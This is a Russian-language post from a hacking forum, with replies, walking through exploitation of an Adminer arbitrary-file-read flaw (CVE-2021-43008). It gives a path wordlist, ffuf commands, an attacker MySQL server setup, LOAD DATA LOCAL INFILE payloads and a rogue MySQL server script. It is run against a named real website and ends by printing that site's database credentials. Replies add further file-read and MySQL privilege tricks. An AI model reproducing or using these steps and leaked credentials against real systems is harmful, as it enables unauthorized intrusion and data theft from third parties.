• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Веб-хакинг мои попытки стать лучшим хакером в России #4

student

(L2) cache
Забанен
Регистрация
03.10.2023
Сообщения
480
Реакции
368
Гарант сделки
1
Пожалуйста, обратите внимание, что пользователь заблокирован
Автор student / мой_телеграмм_канал
Источник:
https://xss.pro
Всех приветствую на четвертой части. Для удобства выложу прошлые части, чтобы вы могли ознакомиться:
#1
#2
#3
Проекты на конкурс:
Сбор криптовалюты у спортсменов
Пишем брутфорс tronscan.org на JavaScript

Идею для статьи предложил мой верный товарищ, а также лучший хакер vagabond. Я прочитал его writeup и подумал, что это отличная идея для статьи, потому что ранее на форуме в деталях не обсуждалось. Также упомяну ice80 этот человек сильно помог мне финансово :smile10:
Что такое Adminer
По сути это аналог привычного phpMyAdmin. Инструмент стал популярным благодаря тому, что имеет открытый исходный код и полностью бесплатный. Некоторым разработчикам удобно управлять бд с помощью веб морды, поэтому они и устанавливают phpMyAdmin/Adminer. На сайте adminer.org есть сравнение Adminer и PMA. Суть в том, что Adminer мало весит и удобный, также поддерживает много СУБД, в то время, как PMA только Mysql и MariaDB. Adminer используется уже довольно давно в различных плагинах для WordPress, Drupal, Joomla, Magento и т.д.
1705405111988.png

Если вам интересно, как установить Adminer и настроить, то можете посмотреть этот видеоролик.
CVE-2021-43008
https://nvd.nist.gov/vuln/detail/CVE-2021-43008 Access Control in Adminer versions 1.12.0 to 4.6.2 (fixed in version 4.6.3)
Способы найти Adminer
1)fuzzing. Вот вам словарик для поиска Adminer. Больше словарей в тг канале
/adminer
/adminer-3.0.0-en.php
/adminer-3.0.0-mysql-cs.php
/adminer-3.0.0-mysql.php
/adminer-3.0.1-en.php
/adminer-3.0.1-mysql-en.php
/adminer-3.0.1-mysql.php
/adminer-3.1.0-cs.php
/adminer-3.1.0-en.php
/adminer-3.1.0-mysql-en.php
/adminer-3.1.0-mysql.php
/adminer-3.2.0-cs.php
/adminer-3.2.0-mysql-cs.php
/adminer-3.2.0-mysql-en.php
/adminer-3.2.0-mysql.php
/adminer-3.2.1-en.php
/adminer-3.2.1-mysql-cs.php
/adminer-3.2.1-mysql-en.php
/adminer-3.2.1-mysql.php
/adminer-3.2.1.php
/adminer-3.2.2-cs.php
/adminer-3.2.2-mysql-cs.php
/adminer-3.2.2-mysql.php
/adminer-3.2.2.php
/adminer-3.3.0-cs.php
/adminer-3.3.0-en.php
/adminer-3.3.0-mysql-en.php
/adminer-3.3.0-mysql.php
/adminer-3.3.1-cs.php
/adminer-3.3.1-en.php
/adminer-3.3.1-mysql-en.php
/adminer-3.3.1-mysql.php
/adminer-3.3.2-cs.php
/adminer-3.3.2-en.php
/adminer-3.3.2-mysql-en.php
/adminer-3.3.2.php
/adminer-3.3.3-en.php
/adminer-3.3.3-mysql-en.php
/adminer-3.3.3-mysql.php
/adminer-3.3.3.php
/adminer-3.3.4-en.php
/adminer-3.3.4-mysql-en.php
/adminer-3.3.4.php
/adminer-3.4.0-en.php
/adminer-3.4.0-mysql-en.php
/adminer-3.4.0-mysql.php
/adminer-3.5.0-cs.php
/adminer-3.5.0-en.php
/adminer-3.5.0-mysql-en.php
/adminer-3.5.0-mysql.php
/adminer-3.5.0.php
/adminer-3.5.1-en.php
/adminer-3.5.1-mysql-cs.php
/adminer-3.5.1-mysql.php
/adminer-3.5.1.php
/adminer-3.6.0-cs.php
/adminer-3.6.0-en.php
/adminer-3.6.0-mysql-cs.php
/adminer-3.6.0-mysql.php
/adminer-3.6.1-cs.php
/adminer-3.6.1-mysql-cs.php
/adminer-3.6.1-mysql-en.php
/adminer-3.6.1-mysql.php
/adminer-3.6.2-cs.php
/adminer-3.6.2-mysql-cs.php
/adminer-3.6.2-mysql-en.php
/adminer-3.6.2-mysql.php
/adminer-3.6.3-cs.php
/adminer-3.6.3-mysql-cs.php
/adminer-3.6.3-mysql-en.php
/adminer-3.6.3.php
/adminer-3.6.4-cs.php
/adminer-3.6.4-en.php
/adminer-3.6.4-mysql.php
/adminer-3.7.0-cs.php
/adminer-3.7.0-en.php
/adminer-3.7.0-mysql-cs.php
/adminer-3.7.0-mysql.php
/adminer-3.7.0.php
/adminer-3.7.1-en.php
/adminer-3.7.1-mysql-en.php
/adminer-3.7.1.php
/adminer-4.0.0-cs.php
/adminer-4.0.0-mysql-cs.php
/adminer-4.0.0-mysql.php
/adminer-4.0.0.php
/adminer-4.0.1-en.php
/adminer-4.0.1-mysql-en.php
/adminer-4.0.1-mysql.php
/adminer-4.0.1.php
/adminer-4.0.2-cs.php
/adminer-4.0.2-mysql-cs.php
/adminer-4.0.2-mysql-en.php
/adminer-4.0.2-mysql.php
/adminer-4.0.2.php
/adminer-4.0.3-en.php
/adminer-4.0.3-mysql-cs.php
/adminer-4.0.3-mysql.php
/adminer-4.1.0-cs.php
/adminer-4.1.0-mysql-cs.php
/adminer-4.1.0-mysql.php
/adminer-4.1.0.php
/adminer-4.2.0-cs.php
/adminer-4.2.0-en.php
/adminer-4.2.0-mysql-en.php
/adminer-4.2.0-mysql.php
/adminer-4.2.0.php
/adminer-4.2.1-cs.php
/adminer-4.2.1-en.php
/adminer-4.2.1.php
/adminer-4.2.2-en.php
/adminer-4.2.2-mysql-cs.php
/adminer-4.2.2-mysql.php
/adminer-4.2.3-cs.php
/adminer-4.2.3-en.php
/adminer-4.2.3-mysql.php
/adminer-4.2.4-en.php
/adminer-4.2.4-mysql-cs.php
/adminer-4.2.4-mysql-en.php
/adminer-4.2.4-mysql.php
/adminer-4.2.4.php
/adminer-4.2.5-cs.php
/adminer-4.2.5-mysql-cs.php
/adminer-4.2.5-mysql-en.php
/adminer-4.2.5.php
/adminer-4.3.0-cs.php
/adminer-4.3.0-en.php
/adminer-4.3.0-mysql-en.php
/adminer-4.3.0-mysql.php
/adminer-4.3.1-cs.php
/adminer-4.3.1-en.php
/adminer-4.3.1-mysql-en.php
/adminer-4.3.1-mysql.php
/adminer-4.3.1.php
/adminer-4.4.0-en.php
/adminer-4.4.0-mysql-en.php
/adminer-4.4.0-mysql.php
/adminer-4.4.0.php
/adminer-4.5.0-cs.php
/adminer-4.5.0-mysql-cs.php
/adminer-4.5.0-mysql.php
/adminer-4.6.0-cs.php
/adminer-4.6.0-en.php
/adminer-4.6.0-mysql-cs.php
/adminer-4.6.0-mysql.php
/adminer-4.6.0.php
/adminer-4.6.1-cs.php
/adminer-4.6.1-mysql-cs.php
/adminer-4.6.1-mysql.php
/adminer-4.6.1.php
/adminer-4.6.2-en.php
/adminer-4.6.2-mysql-en.php
/adminer-4.6.2.php
/adminer-4.6.3-cs.php
/adminer-4.6.3-en.php
/adminer-4.6.3-mysql-en.php
/adminer-4.6.3-mysql.php
/adminer-4.7.0-cs.php
/adminer-4.7.0-mysql-cs.php
/adminer-4.7.0-mysql.php
/adminer-4.7.1-cs.php
/adminer-4.7.1-mysql-cs.php
/adminer-4.7.1-mysql.php
/adminer-4.7.2-cs.php
/adminer-4.7.2-en.php
/adminer-4.7.2-mysql-en.php
/adminer-4.7.2-mysql.php
/adminer-4.7.2.php
/adminer-4.7.3-en.php
/adminer-4.7.3-mysql-en.php
/adminer-4.7.3-mysql.php
/adminer.php
/wp-content/adminer.php
/wp-content/plugins/adminer/inc/editor/index.php
/wp-content/uploads/adminer.php
/adminer/
/_adminer.php
/mirasvit_adminer_mysql.php
/mirasvit_adminer_425.php
/adminer/index.php
/adminer1.php
/mirasvit_adminer_431.php
/mirasvit_adminer-4.2.3.php
/adminer-4.6.2-cs.php
/adminer-4.5.0.php
/adminer-4.3.0.php
/latest.php
/latest-en.php
/latest-mysql.php
/latest-mysql-en.php
/adminer-4.7.5.php
/adminer-4.7.5-en.php
/adminer-4.7.5-mysql.php
/adminer-4.7.5-mysql-en.php
Как фаззить рассказывал в других частях, читайте, линки выше.
Bash:
ffuf -u FUZZ/FU2Z -w domain.txt:FUZZ -w wordlist.txt:FU2Z -o adminer.html -of html
firefox adminer.html
1705413471991.png

2)Обратиться сюда https://xss.pro//threads/79878/
Что потребуется для работы
Нужен один дешевый VPS
https://app.bitlaunch.io за $0.018/hour поднимаем LEMP Stack with SSL
LEMP относится к набору программного обеспечения с открытым исходным кодом, которое обычно используется вместе для обслуживания веб-приложений. Термин LEMP — это аббревиатура, обозначающая конфигурацию операционной системы Linux с веб-сервером nginx (произносится как engine-x, отсюда и буква E в аббревиатуре), с данными сайта, хранящимися в базе данных MySQL, и динамическим контентом, обрабатываемым PHP.
Linux
Engine-x (nginx)
MySQL
PHP
Создаем базу данных
SQL:
-- Создаем базу данных
   
CREATE DATABASE test;
CREATE USER 'root'@'%' IDENTIFIED BY 'Password1';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'Password1';
exit
Bash:
sudo nano /etc/mysql/mysql.conf.d/mysqld.cnf
Прокомментируем bind-address, чтобы доступ к MySql был разрешен с любого адреса.
#bind-address = localhost
Перезагружаем MySql
Bash:
sudo systemctl restart mysql
Создаем таблицу "tab" с колонкой "1"
Эксплуатация уязвимости
Тестовый сервер VPS с Adminer.php - http://ip/adminer.php
уязвимый таргет https://www.stuprint.com/
Пофаззив пути, находим в корне файл adminer-4.2.2-mysql.php
Идём по пути и видим админер - https://www.stuprint.com/adminer-4.2.2-mysql.php
Идём по пути и видим админер - https://www.stuprint.com/adminer-4.2.2-mysql.php
Вбиваем в Server - ip (наш сервер)
Username - root
Password - 123456Pas
Database - test
или можно так - https://www.stuprint.com/adminer-4.2.2-mysql.php?server=ip&username=root&db=test&sql=
и сразу попадаем в SQL command

сюда копипастим это:
SQL:
LOAD DATA LOCAL INFILE '/etc/passwd'
INTO TABLE tab
FIELDS TERMINATED BY "\n"
Нажимаем Execute и видим Query executed OK, 46 rows affected на зелененьком фоне. Это значит что мы можем прочитать файл /etc/passwd и даже можем прочитать index.php
1705419070880.png

Сайт уязвим.
Теперь нам надо найти конфигурационный файл и относительный путь к нему.
Узнаем что это за CMS.
Какой вебсервер.
Хостер.
Сколько сайтов крутится на этом сервере.
Всё это надо знать для правильного поиска.
В данном случае это самопис и методом ненаучного тыка мы определяем относительный путь /home/stuprint/public_html/index.php
в SQL command пишем:
SQL:
LOAD DATA LOCAL INFILE '/home/stuprint/public_html/index.php'
INTO TABLE tab
FIELDS TERMINATED BY "\n"
Он его находит. Теперь нам надо посмотреть этот /index.php
Для этого я использую https://github.com/allyshka/Rogue-MySql-Server (Сторонний сервер MySQL, который может использоваться для использования ЛОКАЛЬНОГО INFILE и чтения произвольных файлов с клиента) у нас он уже установлен
Копируем файл rogue_mysql_server.py на наш сервер в корень и подключаемся к нему через SSH используя putty
Будем использовать следующие команды:
Bash:
sudo service mysql stop
sudo service mysql start
python /var/www/html/rogue_mysql_server.py
Меняем 30 строчку файла rogue_mysql_server.py в '/home/stuprint/public_html/index.php'
Останавливаем сервер
Bash:
sudo service mysql stop
Запускаем скрипт
Bash:
python /var/www/html/rogue_mysql_server.py
И в браузере просто перезагружаем страницу где у нас админер.
Должно стать - Query executed OK, 0 rows affected в окне браузера
в putty появятся ошибки, нажимаем ctrl+c в putty
И создается файл mysql.log в корне нашего атакующего сервака с содержимым файла /index.php
Смотрим его.
Можно глазки поломать. Поэтому в notepade++ или другом делаем следующее:
меняем ctrl+F Replace \n на xssxssxss при Search Mode Normal
и xssxssxss на \n при Search Mode Extended

Лучше? Лучше! Если не получилось, то можете просто глазами поискать данные на вход в базу данных.
Также можно заюзать поиск по содержимому файла и найти слово "localhost" , рядом будут кредсы.

Находим:
PHP:
$stud_hostname="localhost";
$stud_database="stuprint_live";
$stud_username="stuprint_stuprin";
$stud_password="group7851";
Следовательно, разработчик этого ресурса stuprint.com просто запхал конфиг от базы в index.php
Идём в браузере по пути https://www.stuprint.com/adminer-4.2.2-mysql.php
и вбиваем ТОЛЬКО hostname, username, password
потому что может быть не одна база, а несколько
ЖГИТЕ ВСЕХ, теперь эта система наша! (с)
1705417781523.png

1705417827753.png

В putty вводим команду
Bash:
sudo service mysql start

Специально для любителей этичного хакинга есть райтап. Можете похожу машинку прорешать на HTB: https://zweilosec.github.io/posts/admirer/
Для любознательных, чтобы понимать как мы прочитали локальные файлы на сервере: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
Как защититься
Установить версию с официального сайта. https://github.com/vrana/adminer/releases/tag/v4.6.3
Использовать по мере необходимости. Залил, поработал, удалил adminer.php
Переименовал файл в dfoisdklhlkhsdf08.php, чтобы хацкеры не смотри найти диру с adminer.


Собираем донаты и выходить автоматизация;))0
 
LOAD DATA LOCAL INFILE '/etc/passwd'
было бы неплохо перечислить и другие методы чтения файлов мускулом.
на рдоте был большой список, но форум давно умер, а у меня список не сохранился.
по памяти: помимо "LOAD DATA LOCAL INFILE ... INTO ..." ещё можно попробовать "LOAD DATA INFILE ..." и "SELECT LOAD_FILE(...)"
 
Пожалуйста, обратите внимание, что пользователь заблокирован
было бы неплохо перечислить и другие методы чтения файлов мускулом.
на рдоте был большой список, но форум давно умер, а у меня список не сохранился.
по памяти: помимо "LOAD DATA LOCAL INFILE ... INTO ..." ещё можно попробовать "LOAD DATA INFILE ..." и "SELECT LOAD_FILE(...)"
Спасибо, что делишься информацией, я даже не знал про другие методы.
 
я сначала подумал, что ты показываешь пример, как можно прочитать файлы мускулом, но потом перечитал твою статью не по диагонали и понял, что ты описываешь конкретную уязвимость CVE-2021-43008 "Improper Access Control in Adminer versions 1.12.0 to 4.6.2 allows an attacker to achieve Arbitrary File Read on the remote server by requesting the Adminer to connect to a remote MySQL databasе"
поэтому методы "LOAD DATA INFILE ..." и "SELECT LOAD_FILE(...)" могут не сработать с данной конкретной уязвимостью. но могут сработать, если у добытого на таргете юзера MySQL есть привилегия FILE :)

Спасибо, что делишься информацией, я даже не знал про другие методы.
я помню, что есть ещё несколько методов, но не помню, какие именно 🤷‍♂️ по долгу службы тусовался на всяких рдотах, но не сохранял хакерские премудрости :D а недавно на этом форуме узнал, что мускул пускает в базу с привилегиями рута ("root" юзер MySQL) без пароля, если текущий UID пользователя равен 0 ("root" в операционной системе), этим можно воспользоваться через бэкконнект: редиректишь удалённый порт 3306 с таргета на свой сервер, а на своём сервере под рутом коннектишься mysql -u root -h 127.0.0.1:форварднутый_порт, и получаешь рута в MySQL на таргете.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
1705440071751.png
Пример не уязвимого админера.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Напарсенный список можно профазить на уязвимую версию вводя данные от твоей бд с неправильным паролем. Адмайнеры выше 4.6.2 или кастомные будут давать в теле страницы другой ответ, в отличии от уязвимых версий, где будет просто incorrect password, насколько помню. Вообще, прошу прощения, но это все повторение градера топика годишней давности, про опенкарт ты очень классно дополнил, однако здесь просто PoC, который можно и на walkthrough машинки посмотреть.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх